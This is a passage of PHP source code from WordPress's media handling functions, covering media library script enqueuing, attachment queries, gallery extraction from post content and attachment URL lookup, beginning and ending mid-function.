					'height'      => $downsize[2],
					'width'       => $downsize[1],
					'url'         => $downsize[0],
					'orientation' => $downsize[2] > $downsize[1] ? 'portrait' : 'landscape',
				);
			} elseif ( isset( $meta['sizes'][ $size ] ) ) {
				// Nothing from the filter, so consult image metadata if we have it.
				$size_meta = $meta['sizes'][ $size ];

				/*
				 * We have the actual image size, but might need to further constrain it if content_width is narrower.
				 * Thumbnail, medium, and full sizes are also checked against the site's height/width options.
				 */
				list( $width, $height ) = image_constrain_size_for_editor( $size_meta['width'], $size_meta['height'], $size, 'edit' );

				$sizes[ $size ] = array(
					'height'      => $height,
					'width'       => $width,
					'url'         => $base_url . $size_meta['file'],
					'orientation' => $height > $width ? 'portrait' : 'landscape',
				);
			}
		}

		if ( 'image' === $type ) {
			if ( ! empty( $meta['original_image'] ) ) {
				$response['originalImageURL']  = wp_get_original_image_url( $attachment->ID );
				$response['originalImageName'] = wp_basename( wp_get_original_image_path( $attachment->ID ) );
			}

			$sizes['full'] = array( 'url' => $attachment_url );

			if ( isset( $meta['height'], $meta['width'] ) ) {
				$sizes['full']['height']      = $meta['height'];
				$sizes['full']['width']       = $meta['width'];
				$sizes['full']['orientation'] = $meta['height'] > $meta['width'] ? 'portrait' : 'landscape';
			}

			$response = array_merge( $response, $sizes['full'] );
		} elseif ( $meta['sizes']['full']['file'] ) {
			$sizes['full'] = array(
				'url'         => $base_url . $meta['sizes']['full']['file'],
				'height'      => $meta['sizes']['full']['height'],
				'width'       => $meta['sizes']['full']['width'],
				'orientation' => $meta['sizes']['full']['height'] > $meta['sizes']['full']['width'] ? 'portrait' : 'landscape',
			);
		}

		$response = array_merge( $response, array( 'sizes' => $sizes ) );
	}

	if ( $meta && 'video' === $type ) {
		if ( isset( $meta['width'] ) ) {
			$response['width'] = (int) $meta['width'];
		}
		if ( isset( $meta['height'] ) ) {
			$response['height'] = (int) $meta['height'];
		}
	}

	if ( $meta && ( 'audio' === $type || 'video' === $type ) ) {
		if ( isset( $meta['length_formatted'] ) ) {
			$response['fileLength']              = $meta['length_formatted'];
			$response['fileLengthHumanReadable'] = human_readable_duration( $meta['length_formatted'] );
		}

		$response['meta'] = array();
		foreach ( wp_get_attachment_id3_keys( $attachment, 'js' ) as $key => $label ) {
			$response['meta'][ $key ] = false;

			if ( ! empty( $meta[ $key ] ) ) {
				$response['meta'][ $key ] = $meta[ $key ];
			}
		}

		$id = get_post_thumbnail_id( $attachment->ID );
		if ( ! empty( $id ) ) {
			list( $src, $width, $height ) = wp_get_attachment_image_src( $id, 'full' );
			$response['image']            = compact( 'src', 'width', 'height' );
			list( $src, $width, $height ) = wp_get_attachment_image_src( $id, 'thumbnail' );
			$response['thumb']            = compact( 'src', 'width', 'height' );
		} else {
			$src               = wp_mime_type_icon( $attachment->ID, '.svg' );
			$width             = 48;
			$height            = 64;
			$response['image'] = compact( 'src', 'width', 'height' );
			$response['thumb'] = compact( 'src', 'width', 'height' );
		}
	}

	if ( function_exists( 'get_compat_media_markup' ) ) {
		$response['compat'] = get_compat_media_markup( $attachment->ID, array( 'in_modal' => true ) );
	}

	if ( function_exists( 'get_media_states' ) ) {
		$media_states = get_media_states( $attachment );
		if ( ! empty( $media_states ) ) {
			$response['mediaStates'] = implode( ', ', $media_states );
		}
	}

	/**
	 * Filters the attachment data prepared for JavaScript.
	 *
	 * @since 3.5.0
	 *
	 * @param array       $response   Array of prepared attachment data. See {@see wp_prepare_attachment_for_js()}.
	 * @param WP_Post     $attachment Attachment object.
	 * @param array|false $meta       Array of attachment meta data, or false if there is none.
	 */
	return apply_filters( 'wp_prepare_attachment_for_js', $response, $attachment, $meta );
}

/**
 * Enqueues all scripts, styles, settings, and templates necessary to use
 * all media JS APIs.
 *
 * @since 3.5.0
 *
 * @global int       $content_width
 * @global wpdb      $wpdb          WordPress database abstraction object.
 * @global WP_Locale $wp_locale     WordPress date and time locale object.
 *
 * @param array $args {
 *     Arguments for enqueuing media scripts.
 *
 *     @type int|WP_Post $post Post ID or post object.
 * }
 */
function wp_enqueue_media( $args = array() ) {
	// Enqueue me just once per page, please.
	if ( did_action( 'wp_enqueue_media' ) ) {
		return;
	}

	global $content_width, $wpdb, $wp_locale;

	$defaults = array(
		'post' => null,
	);
	$args     = wp_parse_args( $args, $defaults );

	/*
	 * We're going to pass the old thickbox media tabs to `media_upload_tabs`
	 * to ensure plugins will work. We will then unset those tabs.
	 */
	$tabs = array(
		// handler action suffix => tab label
		'type'     => '',
		'type_url' => '',
		'gallery'  => '',
		'library'  => '',
	);

	/** This filter is documented in wp-admin/includes/media.php */
	$tabs = apply_filters( 'media_upload_tabs', $tabs );
	unset( $tabs['type'], $tabs['type_url'], $tabs['gallery'], $tabs['library'] );

	$props = array(
		'link'  => get_option( 'image_default_link_type' ), // DB default is 'file'.
		'align' => get_option( 'image_default_align' ),     // Empty default.
		'size'  => get_option( 'image_default_size' ),      // Empty default.
	);

	$exts      = array_merge( wp_get_audio_extensions(), wp_get_video_extensions() );
	$mimes     = get_allowed_mime_types();
	$ext_mimes = array();
	foreach ( $exts as $ext ) {
		foreach ( $mimes as $ext_preg => $mime_match ) {
			if ( preg_match( '#' . $ext . '#i', $ext_preg ) ) {
				$ext_mimes[ $ext ] = $mime_match;
				break;
			}
		}
	}

	/**
	 * Allows showing or hiding the "Create Audio Playlist" button in the media library.
	 *
	 * By default, the "Create Audio Playlist" button will always be shown in
	 * the media library.  If this filter returns `null`, a query will be run
	 * to determine whether the media library contains any audio items.  This
	 * was the default behavior prior to version 4.8.0, but this query is
	 * expensive for large media libraries.
	 *
	 * @since 4.7.4
	 * @since 4.8.0 The filter's default value is `true` rather than `null`.
	 *
	 * @link https://core.trac.wordpress.org/ticket/31071
	 *
	 * @param bool|null $show Whether to show the button, or `null` to decide based
	 *                        on whether any audio files exist in the media library.
	 */
	$show_audio_playlist = apply_filters( 'media_library_show_audio_playlist', true );
	if ( null === $show_audio_playlist ) {
		$show_audio_playlist = $wpdb->get_var(
			"SELECT ID
			FROM $wpdb->posts
			WHERE post_type = 'attachment'
			AND post_mime_type LIKE 'audio%'
			LIMIT 1"
		);
	}

	/**
	 * Allows showing or hiding the "Create Video Playlist" button in the media library.
	 *
	 * By default, the "Create Video Playlist" button will always be shown in
	 * the media library.  If this filter returns `null`, a query will be run
	 * to determine whether the media library contains any video items.  This
	 * was the default behavior prior to version 4.8.0, but this query is
	 * expensive for large media libraries.
	 *
	 * @since 4.7.4
	 * @since 4.8.0 The filter's default value is `true` rather than `null`.
	 *
	 * @link https://core.trac.wordpress.org/ticket/31071
	 *
	 * @param bool|null $show Whether to show the button, or `null` to decide based
	 *                        on whether any video files exist in the media library.
	 */
	$show_video_playlist = apply_filters( 'media_library_show_video_playlist', true );
	if ( null === $show_video_playlist ) {
		$show_video_playlist = $wpdb->get_var(
			"SELECT ID
			FROM $wpdb->posts
			WHERE post_type = 'attachment'
			AND post_mime_type LIKE 'video%'
			LIMIT 1"
		);
	}

	/**
	 * Allows overriding the list of months displayed in the media library.
	 *
	 * By default (if this filter does not return an array), a query will be
	 * run to determine the months that have media items.  This query can be
	 * expensive for large media libraries, so it may be desirable for sites to
	 * override this behavior.
	 *
	 * @since 4.7.4
	 *
	 * @link https://core.trac.wordpress.org/ticket/31071
	 *
	 * @param stdClass[]|null $months An array of objects with `month` and `year`
	 *                                properties, or `null` for default behavior.
	 */
	$months = apply_filters( 'media_library_months_with_files', null );
	if ( ! is_array( $months ) ) {
		$months = $wpdb->get_results(
			$wpdb->prepare(
				"SELECT DISTINCT YEAR( post_date ) AS year, MONTH( post_date ) AS month
				FROM $wpdb->posts
				WHERE post_type = %s
				ORDER BY post_date DESC",
				'attachment'
			)
		);
	}
	foreach ( $months as $month_year ) {
		$month_year->text = sprintf(
			/* translators: 1: Month, 2: Year. */
			__( '%1$s %2$d' ),
			$wp_locale->get_month( $month_year->month ),
			$month_year->year
		);
	}

	/**
	 * Filters whether the Media Library grid has infinite scrolling. Default `false`.
	 *
	 * @since 5.8.0
	 *
	 * @param bool $infinite Whether the Media Library grid has infinite scrolling.
	 */
	$infinite_scrolling = apply_filters( 'media_library_infinite_scrolling', false );

	$settings = array(
		'tabs'              => $tabs,
		'tabUrl'            => add_query_arg( array( 'chromeless' => true ), admin_url( 'media-upload.php' ) ),
		'mimeTypes'         => wp_list_pluck( get_post_mime_types(), 0 ),
		/** This filter is documented in wp-admin/includes/media.php */
		'captions'          => ! apply_filters( 'disable_captions', '' ),
		'nonce'             => array(
			'sendToEditor'           => wp_create_nonce( 'media-send-to-editor' ),
			'setAttachmentThumbnail' => wp_create_nonce( 'set-attachment-thumbnail' ),
		),
		'post'              => array(
			'id' => 0,
		),
		'defaultProps'      => $props,
		'attachmentCounts'  => array(
			'audio' => ( $show_audio_playlist ) ? 1 : 0,
			'video' => ( $show_video_playlist ) ? 1 : 0,
		),
		'oEmbedProxyUrl'    => rest_url( 'oembed/1.0/proxy' ),
		'embedExts'         => $exts,
		'embedMimes'        => $ext_mimes,
		'contentWidth'      => $content_width,
		'months'            => $months,
		'mediaTrash'        => MEDIA_TRASH ? 1 : 0,
		'infiniteScrolling' => ( $infinite_scrolling ) ? 1 : 0,
	);

	$post = null;
	if ( isset( $args['post'] ) ) {
		$post             = get_post( $args['post'] );
		$settings['post'] = array(
			'id'    => $post->ID,
			'nonce' => wp_create_nonce( 'update-post_' . $post->ID ),
		);

		$thumbnail_support = current_theme_supports( 'post-thumbnails', $post->post_type ) && post_type_supports( $post->post_type, 'thumbnail' );
		if ( ! $thumbnail_support && 'attachment' === $post->post_type && $post->post_mime_type ) {
			if ( wp_attachment_is( 'audio', $post ) ) {
				$thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
			} elseif ( wp_attachment_is( 'video', $post ) ) {
				$thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
			}
		}

		if ( $thumbnail_support ) {
			$featured_image_id                   = get_post_meta( $post->ID, '_thumbnail_id', true );
			$settings['post']['featuredImageId'] = $featured_image_id ? $featured_image_id : -1;
		}
	}

	if ( $post ) {
		$post_type_object = get_post_type_object( $post->post_type );
	} else {
		$post_type_object = get_post_type_object( 'post' );
	}

	$strings = array(
		// Generic.
		'mediaFrameDefaultTitle'      => __( 'Media' ),
		'url'                         => __( 'URL' ),
		'addMedia'                    => __( 'Add media' ),
		'search'                      => __( 'Search' ),
		'select'                      => __( 'Select' ),
		'cancel'                      => __( 'Cancel' ),
		'update'                      => __( 'Update' ),
		'replace'                     => __( 'Replace' ),
		'remove'                      => __( 'Remove' ),
		'back'                        => __( 'Back' ),
		/*
		 * translators: This is a would-be plural string used in the media manager.
		 * If there is not a word you can use in your language to avoid issues with the
		 * lack of plural support here, turn it into "selected: %d" then translate it.
		 */
		'selected'                    => __( '%d selected' ),
		'dragInfo'                    => __( 'Drag and drop to reorder media files.' ),

		// Upload.
		'uploadFilesTitle'            => __( 'Upload files' ),
		'uploadImagesTitle'           => __( 'Upload images' ),

		// Library.
		'mediaLibraryTitle'           => __( 'Media Library' ),
		'insertMediaTitle'            => __( 'Add media' ),
		'createNewGallery'            => __( 'Create a new gallery' ),
		'createNewPlaylist'           => __( 'Create a new playlist' ),
		'createNewVideoPlaylist'      => __( 'Create a new video playlist' ),
		'returnToLibrary'             => __( '&#8592; Go to library' ),
		'allMediaItems'               => __( 'All media items' ),
		'allDates'                    => __( 'All dates' ),
		'noItemsFound'                => __( 'No items found.' ),
		'insertIntoPost'              => $post_type_object->labels->insert_into_item,
		'unattached'                  => _x( 'Unattached', 'media items' ),
		'mine'                        => _x( 'Mine', 'media items' ),
		'trash'                       => _x( 'Trash', 'noun' ),
		'uploadedToThisPost'          => $post_type_object->labels->uploaded_to_this_item,
		'warnDelete'                  => __( "You are about to permanently delete this item from your site.\nThis action cannot be undone.\n 'Cancel' to stop, 'OK' to delete." ),
		'warnBulkDelete'              => __( "You are about to permanently delete these items from your site.\nThis action cannot be undone.\n 'Cancel' to stop, 'OK' to delete." ),
		'warnBulkTrash'               => __( "You are about to trash these items.\n  'Cancel' to stop, 'OK' to delete." ),
		'bulkSelect'                  => __( 'Bulk select' ),
		'trashSelected'               => __( 'Move to Trash' ),
		'restoreSelected'             => __( 'Restore from Trash' ),
		'deletePermanently'           => __( 'Delete permanently' ),
		'errorDeleting'               => __( 'Error in deleting the attachment.' ),
		'apply'                       => __( 'Apply' ),
		'filterByDate'                => __( 'Filter by date' ),
		'filterByType'                => __( 'Filter by type' ),
		'searchLabel'                 => __( 'Search media' ),
		'searchMediaLabel'            => __( 'Search media' ),          // Backward compatibility pre-5.3.
		'searchMediaPlaceholder'      => __( 'Search media items...' ), // Placeholder (no ellipsis), backward compatibility pre-5.3.
		/* translators: %d: Number of attachments found in a search. */
		'mediaFound'                  => __( 'Number of media items found: %d' ),
		'noMedia'                     => __( 'No media items found.' ),
		'noMediaTryNewSearch'         => __( 'No media items found. Try a different search.' ),

		// Library Details.
		'attachmentDetails'           => __( 'Attachment details' ),

		// From URL.
		'insertFromUrlTitle'          => __( 'Insert from URL' ),

		// Featured Images.
		'setFeaturedImageTitle'       => $post_type_object->labels->featured_image,
		'setFeaturedImage'            => $post_type_object->labels->set_featured_image,

		// Gallery.
		'createGalleryTitle'          => __( 'Create gallery' ),
		'editGalleryTitle'            => __( 'Edit gallery' ),
		'cancelGalleryTitle'          => __( '&#8592; Cancel gallery' ),
		'insertGallery'               => __( 'Insert gallery' ),
		'updateGallery'               => __( 'Update gallery' ),
		'addToGallery'                => __( 'Add to gallery' ),
		'addToGalleryTitle'           => __( 'Add to gallery' ),
		'reverseOrder'                => __( 'Reverse order' ),

		// Edit Image.
		'imageDetailsTitle'           => __( 'Image details' ),
		'imageReplaceTitle'           => __( 'Replace image' ),
		'imageDetailsCancel'          => __( 'Cancel edit' ),
		'editImage'                   => __( 'Edit image' ),

		// Crop Image.
		'chooseImage'                 => __( 'Choose image' ),
		'selectAndCrop'               => __( 'Select and crop' ),
		'skipCropping'                => __( 'Skip cropping' ),
		'cropImage'                   => __( 'Crop image' ),
		'cropYourImage'               => __( 'Crop your image' ),
		'cropping'                    => __( 'Cropping&hellip;' ),
		/* translators: 1: Suggested width number, 2: Suggested height number. */
		'suggestedDimensions'         => __( 'Suggested image dimensions: %1$s by %2$s pixels.' ),
		'cropError'                   => __( 'There has been an error cropping your image.' ),

		// Edit Audio.
		'audioDetailsTitle'           => __( 'Audio details' ),
		'audioReplaceTitle'           => __( 'Replace audio' ),
		'audioAddSourceTitle'         => __( 'Add audio source' ),
		'audioDetailsCancel'          => __( 'Cancel edit' ),

		// Edit Video.
		'videoDetailsTitle'           => __( 'Video details' ),
		'videoReplaceTitle'           => __( 'Replace video' ),
		'videoAddSourceTitle'         => __( 'Add video source' ),
		'videoDetailsCancel'          => __( 'Cancel edit' ),
		'videoSelectPosterImageTitle' => __( 'Select poster image' ),
		'videoAddTrackTitle'          => __( 'Add subtitles' ),

		// Playlist.
		'playlistDragInfo'            => __( 'Drag and drop to reorder tracks.' ),
		'createPlaylistTitle'         => __( 'Create audio playlist' ),
		'editPlaylistTitle'           => __( 'Edit audio playlist' ),
		'cancelPlaylistTitle'         => __( '&#8592; Cancel audio playlist' ),
		'insertPlaylist'              => __( 'Insert audio playlist' ),
		'updatePlaylist'              => __( 'Update audio playlist' ),
		'addToPlaylist'               => __( 'Add to audio playlist' ),
		'addToPlaylistTitle'          => __( 'Add to Audio Playlist' ),

		// Video Playlist.
		'videoPlaylistDragInfo'       => __( 'Drag and drop to reorder videos.' ),
		'createVideoPlaylistTitle'    => __( 'Create video playlist' ),
		'editVideoPlaylistTitle'      => __( 'Edit video playlist' ),
		'cancelVideoPlaylistTitle'    => __( '&#8592; Cancel video playlist' ),
		'insertVideoPlaylist'         => __( 'Insert video playlist' ),
		'updateVideoPlaylist'         => __( 'Update video playlist' ),
		'addToVideoPlaylist'          => __( 'Add to video playlist' ),
		'addToVideoPlaylistTitle'     => __( 'Add to video Playlist' ),

		// Headings.
		'filterAttachments'           => __( 'Filter media' ),
		'attachmentsList'             => __( 'Media list' ),
	);

	/**
	 * Filters the media view settings.
	 *
	 * @since 3.5.0
	 *
	 * @param array   $settings List of media view settings.
	 * @param WP_Post $post     Post object.
	 */
	$settings = apply_filters( 'media_view_settings', $settings, $post );

	/**
	 * Filters the media view strings.
	 *
	 * @since 3.5.0
	 *
	 * @param string[] $strings Array of media view strings keyed by the name they'll be referenced by in JavaScript.
	 * @param WP_Post  $post    Post object.
	 */
	$strings = apply_filters( 'media_view_strings', $strings, $post );

	$strings['settings'] = $settings;

	/*
	 * Ensure we enqueue media-editor first, that way media-views
	 * is registered internally before we try to localize it. See #24724.
	 */
	wp_enqueue_script( 'media-editor' );
	wp_localize_script( 'media-views', '_wpMediaViewsL10n', $strings );

	wp_enqueue_script( 'media-audiovideo' );
	wp_enqueue_style( 'media-views' );
	if ( is_admin() ) {
		wp_enqueue_script( 'mce-view' );
		wp_enqueue_script( 'image-edit' );
	}
	wp_enqueue_style( 'imgareaselect' );
	wp_plupload_default_settings();

	require_once ABSPATH . WPINC . '/media-template.php';
	add_action( 'admin_footer', 'wp_print_media_templates' );
	add_action( 'wp_footer', 'wp_print_media_templates' );
	add_action( 'customize_controls_print_footer_scripts', 'wp_print_media_templates' );

	/**
	 * Fires at the conclusion of wp_enqueue_media().
	 *
	 * @since 3.5.0
	 */
	do_action( 'wp_enqueue_media' );
}

/**
 * Retrieves media attached to the passed post.
 *
 * @since 3.6.0
 *
 * @param string      $type Mime type.
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return WP_Post[] Array of media attached to the given post.
 */
function get_attached_media( $type, $post = 0 ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return array();
	}

	$args = array(
		'post_parent'    => $post->ID,
		'post_type'      => 'attachment',
		'post_mime_type' => $type,
		'posts_per_page' => -1,
		'orderby'        => 'menu_order',
		'order'          => 'ASC',
	);

	/**
	 * Filters arguments used to retrieve media attached to the given post.
	 *
	 * @since 3.6.0
	 *
	 * @param array   $args Post query arguments.
	 * @param string  $type Mime type of the desired media.
	 * @param WP_Post $post Post object.
	 */
	$args = apply_filters( 'get_attached_media_args', $args, $type, $post );

	$children = get_children( $args );

	/**
	 * Filters the list of media attached to the given post.
	 *
	 * @since 3.6.0
	 *
	 * @param WP_Post[] $children Array of media attached to the given post.
	 * @param string    $type     Mime type of the media desired.
	 * @param WP_Post   $post     Post object.
	 */
	return (array) apply_filters( 'get_attached_media', $children, $type, $post );
}

/**
 * Checks the HTML content for an audio, video, object, embed, or iframe tags.
 *
 * @since 3.6.0
 *
 * @param string   $content A string of HTML which might contain media elements.
 * @param string[] $types   An array of media types: 'audio', 'video', 'object', 'embed', or 'iframe'.
 * @return string[] Array of found HTML media elements.
 */
function get_media_embedded_in_content( $content, $types = null ) {
	$html = array();

	/**
	 * Filters the embedded media types that are allowed to be returned from the content blob.
	 *
	 * @since 4.2.0
	 *
	 * @param string[] $allowed_media_types An array of allowed media types. Default media types are
	 *                                      'audio', 'video', 'object', 'embed', and 'iframe'.
	 */
	$allowed_media_types = apply_filters( 'media_embedded_in_content_allowed_types', array( 'audio', 'video', 'object', 'embed', 'iframe' ) );

	if ( ! empty( $types ) ) {
		if ( ! is_array( $types ) ) {
			$types = array( $types );
		}

		$allowed_media_types = array_intersect( $allowed_media_types, $types );
	}

	$tags = implode( '|', $allowed_media_types );

	if ( preg_match_all( '#<(?P<tag>' . $tags . ')[^<]*?(?:>[\s\S]*?<\/(?P=tag)>|\s*\/>)#', $content, $matches ) ) {
		foreach ( $matches[0] as $match ) {
			$html[] = $match;
		}
	}

	return $html;
}

/**
 * Retrieves galleries from the passed post's content.
 *
 * @since 3.6.0
 *
 * @param int|WP_Post $post Post ID or object.
 * @param bool        $html Optional. Whether to return HTML or data in the array. Default true.
 * @return array A list of arrays, each containing gallery data and srcs parsed
 *               from the expanded shortcode.
 */
function get_post_galleries( $post, $html = true ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return array();
	}

	if ( ! has_shortcode( $post->post_content, 'gallery' ) && ! has_block( 'gallery', $post->post_content ) ) {
		return array();
	}

	$galleries = array();
	if ( preg_match_all( '/' . get_shortcode_regex() . '/s', $post->post_content, $matches, PREG_SET_ORDER ) ) {
		foreach ( $matches as $shortcode ) {
			if ( 'gallery' === $shortcode[2] ) {
				$srcs = array();

				$shortcode_attrs = shortcode_parse_atts( $shortcode[3] );

				// Specify the post ID of the gallery we're viewing if the shortcode doesn't reference another post already.
				if ( ! isset( $shortcode_attrs['id'] ) ) {
					$shortcode[3] .= ' id="' . (int) $post->ID . '"';
				}

				$gallery = do_shortcode_tag( $shortcode );
				if ( $html ) {
					$galleries[] = $gallery;
				} else {
					preg_match_all( '#src=([\'"])(.+?)\1#is', $gallery, $src, PREG_SET_ORDER );
					if ( ! empty( $src ) ) {
						foreach ( $src as $s ) {
							$srcs[] = $s[2];
						}
					}

					$galleries[] = array_merge(
						$shortcode_attrs,
						array(
							'src' => array_values( array_unique( $srcs ) ),
						)
					);
				}
			}
		}
	}

	if ( has_block( 'gallery', $post->post_content ) ) {
		$post_blocks = parse_blocks( $post->post_content );

		while ( $block = array_shift( $post_blocks ) ) {
			$has_inner_blocks = ! empty( $block['innerBlocks'] );

			// Skip blocks with no blockName and no innerHTML.
			if ( ! $block['blockName'] ) {
				continue;
			}

			// Skip non-Gallery blocks.
			if ( 'core/gallery' !== $block['blockName'] ) {
				// Move inner blocks into the root array before skipping.
				if ( $has_inner_blocks ) {
					array_push( $post_blocks, ...$block['innerBlocks'] );
				}
				continue;
			}

			// New Gallery block format as HTML.
			if ( $has_inner_blocks && $html ) {
				$block_html  = wp_list_pluck( $block['innerBlocks'], 'innerHTML' );
				$galleries[] = '<figure>' . implode( ' ', $block_html ) . '</figure>';
				continue;
			}

			$srcs = array();

			// New Gallery block format as an array.
			if ( $has_inner_blocks ) {
				$attrs = wp_list_pluck( $block['innerBlocks'], 'attrs' );
				$ids   = wp_list_pluck( $attrs, 'id' );

				foreach ( $ids as $id ) {
					$url = wp_get_attachment_url( $id );

					if ( is_string( $url ) && ! in_array( $url, $srcs, true ) ) {
						$srcs[] = $url;
					}
				}

				$galleries[] = array(
					'ids' => implode( ',', $ids ),
					'src' => $srcs,
				);

				continue;
			}

			// Old Gallery block format as HTML.
			if ( $html ) {
				$galleries[] = $block['innerHTML'];
				continue;
			}

			// Old Gallery block format as an array.
			$ids = ! empty( $block['attrs']['ids'] ) ? $block['attrs']['ids'] : array();

			// If present, use the image IDs from the JSON blob as canonical.
			if ( ! empty( $ids ) ) {
				foreach ( $ids as $id ) {
					$url = wp_get_attachment_url( $id );

					if ( is_string( $url ) && ! in_array( $url, $srcs, true ) ) {
						$srcs[] = $url;
					}
				}

				$galleries[] = array(
					'ids' => implode( ',', $ids ),
					'src' => $srcs,
				);

				continue;
			}

			// Otherwise, extract srcs from the innerHTML.
			preg_match_all( '#src=([\'"])(.+?)\1#is', $block['innerHTML'], $found_srcs, PREG_SET_ORDER );

			if ( ! empty( $found_srcs[0] ) ) {
				foreach ( $found_srcs as $src ) {
					if ( isset( $src[2] ) && ! in_array( $src[2], $srcs, true ) ) {
						$srcs[] = $src[2];
					}
				}
			}

			$galleries[] = array( 'src' => $srcs );
		}
	}

	/**
	 * Filters the list of all found galleries in the given post.
	 *
	 * @since 3.6.0
	 *
	 * @param array   $galleries Associative array of all found post galleries.
	 * @param WP_Post $post      Post object.
	 */
	return apply_filters( 'get_post_galleries', $galleries, $post );
}

/**
 * Checks a specified post's content for gallery and, if present, return the first
 *
 * @since 3.6.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @param bool        $html Optional. Whether to return HTML or data. Default is true.
 * @return string|array Gallery data and srcs parsed from the expanded shortcode.
 */
function get_post_gallery( $post = 0, $html = true ) {
	$galleries = get_post_galleries( $post, $html );
	$gallery   = reset( $galleries );

	/**
	 * Filters the first-found post gallery.
	 *
	 * @since 3.6.0
	 *
	 * @param array       $gallery   The first-found post gallery.
	 * @param int|WP_Post $post      Post ID or object.
	 * @param array       $galleries Associative array of all found post galleries.
	 */
	return apply_filters( 'get_post_gallery', $gallery, $post, $galleries );
}

/**
 * Retrieves the image srcs from galleries from a post's content, if present.
 *
 * @since 3.6.0
 *
 * @see get_post_galleries()
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @return array A list of lists, each containing image srcs parsed.
 *               from an expanded shortcode
 */
function get_post_galleries_images( $post = 0 ) {
	$galleries = get_post_galleries( $post, false );
	return wp_list_pluck( $galleries, 'src' );
}

/**
 * Checks a post's content for galleries and return the image srcs for the first found gallery.
 *
 * @since 3.6.0
 *
 * @see get_post_gallery()
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @return string[] A list of a gallery's image srcs in order.
 */
function get_post_gallery_images( $post = 0 ) {
	$gallery = get_post_gallery( $post, false );
	return empty( $gallery['src'] ) ? array() : $gallery['src'];
}

/**
 * Maybe attempts to generate attachment metadata, if missing.
 *
 * @since 3.9.0
 *
 * @param WP_Post $attachment Attachment object.
 */
function wp_maybe_generate_attachment_metadata( $attachment ) {
	if ( empty( $attachment ) || empty( $attachment->ID ) ) {
		return;
	}

	$attachment_id = (int) $attachment->ID;
	$file          = get_attached_file( $attachment_id );
	$meta          = wp_get_attachment_metadata( $attachment_id );

	if ( empty( $meta ) && file_exists( $file ) ) {
		$_meta = get_post_meta( $attachment_id );
		$_lock = 'wp_generating_att_' . $attachment_id;

		if ( ! array_key_exists( '_wp_attachment_metadata', $_meta ) && ! get_transient( $_lock ) ) {
			set_transient( $_lock, $file );
			wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
			delete_transient( $_lock );
		}
	}
}

/**
 * Tries to convert an attachment URL into a post ID.
 *
 * @since 4.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $url The URL to resolve.
 * @return int The found post ID, or 0 on failure.
 */
function attachment_url_to_postid( $url ) {
	global $wpdb;

	/**
	 * Filters the attachment ID to allow short-circuit the function.
	 *
	 * Allows plugins to short-circuit attachment ID lookups. Plugins making
	 * use of this function should return:
	 *
	 * - 0 (integer) to indicate the attachment is not found,
	 * - attachment ID (integer) to indicate the attachment ID found,
	 * - null to indicate WordPress should proceed with the lookup.
	 *
	 * Warning: The post ID may be null or zero, both of which cast to a
	 * boolean false. For information about casting to booleans see the
	 * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}.
	 * Use the === operator for testing the post ID when developing filters using
	 * this hook.
	 *
	 * @since 6.7.0
	 *
	 * @param int|null $post_id The result of the post ID lookup. Null to indicate
	 *                          no lookup has been attempted. Default null.
	 * @param string   $url     The URL being looked up.
	 */
	$post_id = apply_filters( 'pre_attachment_url_to_postid', null, $url );
	if ( null !== $post_id ) {
		return (int) $post_id;
	}

	$dir  = wp_get_upload_dir();
	$path = $url;

	$site_url   = parse_url( $dir['url'] );
	$image_path = parse_url( $path );

	// Force the protocols to match if needed.
	if ( isset( $image_path['scheme'] ) && ( $image_path['scheme'] !== $site_url['scheme'] ) ) {
		$path = str_replace( $image_path['scheme'], $site_url['scheme'], $path );
	}

	if ( str_starts_with( $path, $dir['baseurl'] . '/' ) ) {
		$path = substr( $path, strlen( $dir['baseurl'] . '/' ) );
	}

	$sql = $wpdb->prepare(
		"SELECT post_id, meta_value FROM $wpdb->postmeta WHERE meta_key = '_wp_attached_file' AND meta_value = %s",
		$path
	);

	$results = $wpdb->get_results( $sql );
	$post_id = null;

	if ( $results ) {
		// Use the first available result, but prefer a case-sensitive match, if exists.
		$post_id = reset( $results )->post_id;

		if ( count( $results ) > 1 ) {
			foreach ( $results as $result ) {
				if ( $path === $result->meta_value ) {
					$post_id = $result->post_id;
					break;
				}
			}
		}
	}

	/**
	 * Filters an attachment ID found by URL.
	 *
	 * @since 4.2.0
	 *
	 * @param int|null $post_id The post_id (if any) found by the function.
	 * @param string   $url     The URL being looked up.
	 */
	return (int) apply_filters( 'attachment_url_to_postid', $post_id, $url );
}

/**
 * Returns the URLs for CSS files used in an iframe-sandbox'd TinyMCE media view.
 *
 * @since 4.0.0
 *
 * @return string[] The relevant CSS file URLs.
 */
function wpview_media_sandbox_styles() {
	$version        = 'ver=' . get_bloginfo( 'version' );
	$mediaelement   = includes_url( "js/mediaelement/mediaelementplayer-legacy.min.css?$version" );
	$wpmediaelement = includes_url( "js/mediaelement/wp-mediaelement.css?$version" );

	return array( $mediaelement, $wpmediaelement );
}

/**
 * Registers the personal data exporter for media.
 *
 * @since 4.9.6
 *
 * @param array[] $exporters An array of personal data exporters, keyed by their ID.
 * @return array[] Updated array of personal data exporters.
 */
function wp_register_media_personal_data_exporter( $exporters ) {
	$exporters['wordpress-media'] = array(
		'exporter_friendly_name' => __( 'WordPress Media' ),
		'callback'               => 'wp_media_personal_data_exporter',
	);

	return $exporters;
}

/**
 * Finds and exports attachments associated with an email address.
 *
 * @since 4.9.6
 *
 * @param string $email_address The attachment owner email address.
 * @param int    $page          Attachment page number.
 * @return array {
 *     An array of personal data.
 *
 *     @type array[] $data An array of personal data arrays.
 *     @type bool    $done Whether the exporter is finished.
 * }
 */
function wp_media_personal_data_exporter( $email_address, $page = 1 ) {
	// Limit us to 50 attachments at a time to avoid timing out.
	$number = 50;
	$page   = (int) $page;

	$data_to_export = array();

	$user = get_user_by( 'email', $email_address );
	if ( false === $user ) {
		return array(
			'data' => $data_to_export,
			'done' => true,
		);
	}

